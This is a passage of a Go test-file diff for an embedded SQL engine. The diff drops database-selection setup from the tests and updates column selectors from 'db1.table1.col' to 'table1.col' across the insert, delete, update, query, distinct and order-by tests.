DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) - require.NoError(t, err) - res, err := engine.Query(context.Background(), nil, "SELECT id, surname FROM table1 ORDER BY surname", nil) require.NoError(t, err) @@ -1226,15 +1160,6 @@ func TestUpsertInto(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title) VALUES (1, 'title1')", nil) - require.ErrorIs(t, err, ErrNoDatabaseSelected) - - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title) VALUES (1, 'title1')", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) @@ -1308,11 +1233,11 @@ func TestUpsertInto(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) - require.Equal(t, int64(20), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "amount")].RawValue()) - require.False(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue().(bool)) + require.Equal(t, int64(20), row.ValuesBySelector[EncodeSelector("", "table1", "amount")].RawValue()) + require.False(t, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue().(bool)) require.Len(t, row.ValuesByPosition, 2) - require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[EncodeSelector("", "db1", "table1", "amount")]) - require.Equal(t, row.ValuesByPosition[1], row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")]) + require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[EncodeSelector("", "table1", "amount")]) + require.Equal(t, row.ValuesByPosition[1], row.ValuesBySelector[EncodeSelector("", "table1", "active")]) err = r.Close() require.NoError(t, err) @@ -1331,8 +1256,8 @@ func TestUpsertInto(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) - require.Equal(t, int64(10), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "amount")].RawValue()) - require.True(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue().(bool)) + require.Equal(t, int64(10), row.ValuesBySelector[EncodeSelector("", "table1", "amount")].RawValue()) + require.True(t, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue().(bool)) err = r.Close() require.NoError(t, err) @@ -1540,15 +1465,6 @@ func TestDelete(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "DELETE FROM table1", nil) - require.ErrorIs(t, err, ErrNoDatabaseSelected) - - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table1 ( @@ -1613,9 +1529,9 @@ func TestDelete(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].RawValue()) + require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) require.Len(t, row.ValuesByPosition, 1) - require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")]) + require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[EncodeSelector("", "table1", "col0")]) err = r.Close() require.NoError(t, err) @@ -1625,7 +1541,7 @@ func TestDelete(t *testing.T) { row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].RawValue()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) err = r.Close() require.NoError(t, err) @@ -1658,15 +1574,6 @@ func TestUpdate(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "UPDATE table1 SET title = 'title11' WHERE title = 'title'", nil) - require.ErrorIs(t, err, ErrNoDatabaseSelected) - - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table1 ( @@ -1730,7 +1637,7 @@ func TestUpdate(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].RawValue()) + require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) err = r.Close() require.NoError(t, err) @@ -1740,7 +1647,7 @@ func TestUpdate(t *testing.T) { row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(rowCount/2+1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].RawValue()) + require.Equal(t, int64(rowCount/2+1), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) err = r.Close() require.NoError(t, err) @@ -1819,12 +1726,6 @@ func TestTransactionsEdgeCases(t *testing.T) { require.ErrorIs(t, err, ErrNestedTxNotSupported) }) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, ` CREATE TABLE table1 ( id INTEGER, @@ -2042,24 +1943,6 @@ func TestQuery(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, err = engine.Query(context.Background(), nil, "SELECT id FROM table1", nil) - require.ErrorIs(t, err, ErrNoDatabaseSelected) - - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - _, err = engine.Query(context.Background(), nil, "SELECT id FROM table1", nil) - require.Equal(t, ErrNoDatabaseSelected, err) - - _, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) - require.Equal(t, ErrNoDatabaseSelected, err) - - _, _, err = engine.Exec(context.Background(), nil, "SELECT id FROM table1", nil) - require.Equal(t, ErrNoDatabaseSelected, err) - - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - _, err = engine.Query(context.Background(), nil, "SELECT id FROM table1", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) @@ -2083,7 +1966,6 @@ func TestQuery(t *testing.T) { require.Len(t, orderBy, 1) require.Equal(t, "id", orderBy[0].Column) require.Equal(t, "table1", orderBy[0].Table) - require.Equal(t, "db1", orderBy[0].Database) _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) @@ -2122,8 +2004,6 @@ func TestQuery(t *testing.T) { colsBySel, err := r.colsBySelector(context.Background()) require.NoError(t, err) require.Len(t, colsBySel, 5) - - require.Equal(t, "db1", r.Database()) require.Equal(t, "table1", r.TableAlias()) cols, err := r.Columns(context.Background()) @@ -2135,13 +2015,13 @@ func TestQuery(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) - require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "table1", "ts")].RawValue().(time.Time))) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue()) + require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "table1", "ts")].RawValue().(time.Time))) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", i)) - require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "payload")].RawValue()) + require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "table1", "payload")].RawValue()) } _, err = r.Read(context.Background()) @@ -2174,8 +2054,6 @@ func TestQuery(t *testing.T) { colsBySel, err := r.colsBySelector(context.Background()) require.NoError(t, err) require.Len(t, colsBySel, 5) - - require.Equal(t, "db1", r.Database()) require.Equal(t, "mytable1", r.TableAlias()) cols, err := r.Columns(context.Background()) @@ -2187,13 +2065,13 @@ func TestQuery(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) - require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "ts")].RawValue().(time.Time))) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "title")].RawValue()) - require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "active")].RawValue()) + require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "mytable1", "ts")].RawValue().(time.Time))) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "mytable1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "mytable1", "title")].RawValue()) + require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "mytable1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", i)) - require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "payload")].RawValue()) + require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "mytable1", "payload")].RawValue()) } _, err = r.Read(context.Background()) @@ -2214,8 +2092,6 @@ func TestQuery(t *testing.T) { colsBySel, err := r.colsBySelector(context.Background()) require.NoError(t, err) require.Len(t, colsBySel, 5) - - require.Equal(t, "db1", r.Database()) require.Equal(t, "mytable1", r.TableAlias()) cols, err := r.Columns(context.Background()) @@ -2227,13 +2103,13 @@ func TestQuery(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) - require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "ts")].RawValue().(time.Time))) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "d")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "title")].RawValue()) - require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "active")].RawValue()) + require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "mytable1", "ts")].RawValue().(time.Time))) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "mytable1", "d")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "mytable1", "title")].RawValue()) + require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "mytable1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", i)) - require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "payload")].RawValue()) + require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "mytable1", "payload")].RawValue()) } _, err = r.Read(context.Background()) @@ -2256,12 +2132,12 @@ func TestQuery(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) - require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Equal(t, (rowCount-1-i)%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue()) + require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Equal(t, (rowCount-1-i)%2 == 0, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", rowCount-1-i)) - require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "payload")].RawValue()) + require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "table1", "payload")].RawValue()) } err = r.Close() @@ -2284,7 +2160,7 @@ func TestQuery(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) err = r.Close() require.NoError(t, err) @@ -2308,9 +2184,9 @@ func TestQuery(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Equal(t, params["some_param"], row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue()) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Equal(t, params["some_param"], row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) } err = r.Close() @@ -2435,12 +2311,6 @@ func TestQueryCornerCases(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - _, _, err = engine.Exec( context.Background(), nil, ` @@ -2494,12 +2364,6 @@ func TestQueryDistinct(t *testing.T) { engine, err := NewEngine(st, opts) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table1 ( id INTEGER AUTO_INCREMENT, @@ -2526,13 +2390,13 @@ func TestQueryDistinct(t *testing.T) { cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) - require.Equal(t, "(db1.table1.title)", cols[0].Selector()) + require.Equal(t, "(table1.title)", cols[0].Selector()) for i := 1; i <= 3; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(table1.title)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2552,13 +2416,13 @@ func TestQueryDistinct(t *testing.T) { cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) - require.Equal(t, "(db1.table1.title)", cols[0].Selector()) + require.Equal(t, "(table1.title)", cols[0].Selector()) for i := 1; i <= 2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(table1.title)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2578,13 +2442,13 @@ func TestQueryDistinct(t *testing.T) { cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) - require.Equal(t, "(db1.table1.title)", cols[0].Selector()) + require.Equal(t, "(table1.title)", cols[0].Selector()) for i := 2; i <= 3; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(table1.title)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2604,13 +2468,13 @@ func TestQueryDistinct(t *testing.T) { cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) - require.Equal(t, "(db1.table1.amount)", cols[0].Selector()) + require.Equal(t, "(table1.amount)", cols[0].Selector()) for i := 1; i <= 2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, int64(i*100), row.ValuesBySelector["(db1.table1.amount)"].RawValue()) + require.Equal(t, int64(i*100), row.ValuesBySelector["(table1.amount)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2630,7 +2494,7 @@ func TestQueryDistinct(t *testing.T) { cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) - require.Equal(t, "(db1.table1.active)", cols[0].Selector()) + require.Equal(t, "(table1.active)", cols[0].Selector()) for i := 0; i <= 2; i++ { row, err := r.Read(context.Background()) @@ -2638,11 +2502,11 @@ func TestQueryDistinct(t *testing.T) { require.Len(t, row.ValuesBySelector, 1) if i == 0 { - require.Nil(t, row.ValuesBySelector["(db1.table1.active)"].RawValue()) + require.Nil(t, row.ValuesBySelector["(table1.active)"].RawValue()) continue } - require.Equal(t, i == 2, row.ValuesBySelector["(db1.table1.active)"].RawValue()) + require.Equal(t, i == 2, row.ValuesBySelector["(table1.active)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2662,8 +2526,8 @@ func TestQueryDistinct(t *testing.T) { cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 2) - require.Equal(t, "(db1.table1.amount)", cols[0].Selector()) - require.Equal(t, "(db1.table1.active)", cols[1].Selector()) + require.Equal(t, "(table1.amount)", cols[0].Selector()) + require.Equal(t, "(table1.active)", cols[1].Selector()) for i := 0; i <= 2; i++ { row, err := r.Read(context.Background()) @@ -2671,13 +2535,13 @@ func TestQueryDistinct(t *testing.T) { require.Len(t, row.ValuesBySelector, 2) if i == 0 { - require.Equal(t, int64(100), row.ValuesBySelector["(db1.table1.amount)"].RawValue()) - require.Nil(t, row.ValuesBySelector["(db1.table1.active)"].RawValue()) + require.Equal(t, int64(100), row.ValuesBySelector["(table1.amount)"].RawValue()) + require.Nil(t, row.ValuesBySelector["(table1.active)"].RawValue()) continue } - require.Equal(t, int64(200), row.ValuesBySelector["(db1.table1.amount)"].RawValue()) - require.Equal(t, i == 2, row.ValuesBySelector["(db1.table1.active)"].RawValue()) + require.Equal(t, int64(200), row.ValuesBySelector["(table1.amount)"].RawValue()) + require.Equal(t, i == 2, row.ValuesBySelector["(table1.active)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2694,14 +2558,14 @@ func TestQueryDistinct(t *testing.T) { cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) - require.Equal(t, "(db1.table1.id)", cols[0].Selector()) + require.Equal(t, "(table1.id)", cols[0].Selector()) for i := 0; i < engine.distinctLimit; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].RawValue()) + require.Equal(t, int64(i+1), row.ValuesBySelector["(table1.id)"].RawValue()) } _, err = r.Read(context.Background()) @@ -3278,10 +3142,10 @@ func TestQueryWithNullables(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) - require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "table1", "ts")].RawValue().(time.Time))) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Equal(t, &NullValue{t: BooleanType}, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")]) + require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "table1", "ts")].RawValue().(time.Time))) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Equal(t, &NullValue{t: BooleanType}, row.ValuesBySelector[EncodeSelector("", "table1", "active")]) } err = r.Close() @@ -3296,15 +3160,6 @@ func TestOrderBy(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) - require.Equal(t, ErrNoDatabaseSelected, err) - - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[100], age INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) @@ -3360,23 +3215,22 @@ func TestOrderBy(t *testing.T) { require.Len(t, orderBy, 1) require.Equal(t, "title", orderBy[0].Column) require.Equal(t, "table1", orderBy[0].Table) - require.Equal(t, "db1", orderBy[0].Database) row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) + require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) @@ -3384,9 +3238,9 @@ func TestOrderBy(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(i+3), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Equal(t, int64(40+i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) + require.Equal(t, int64(i+3), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Equal(t, int64(40+i), row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) } err = r.Close() @@ -3399,17 +3253,17 @@ func TestOrderBy(t *testing.T) { require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) + require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) @@ -3417,9 +3271,9 @@ func TestOrderBy(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(i+3), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Equal(t, int64(40+i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) + require.Equal(t, int64(i+3), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Equal(t, int64(40+i), row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) } err = r.Close() @@ -3434,26 +3288,26 @@ func TestOrderBy(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(rowCount-1-i+3), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Equal(t, int64(40-(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) + require.Equal(t, int64(rowCount-1-i+3), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Equal(t, int64(40-(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) } row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) + require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) err = r.Close() require.NoError(t, err) @@ -3662,7 +3516,7 @@ func TestQueryWithInClause(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) } err = r.Close() @@ -3688,7 +3542,7 @@ func TestQueryWithInClause(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) } err = r.Close() @@ -3703,7 +3557,7 @@ func TestQueryWithInClause(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, 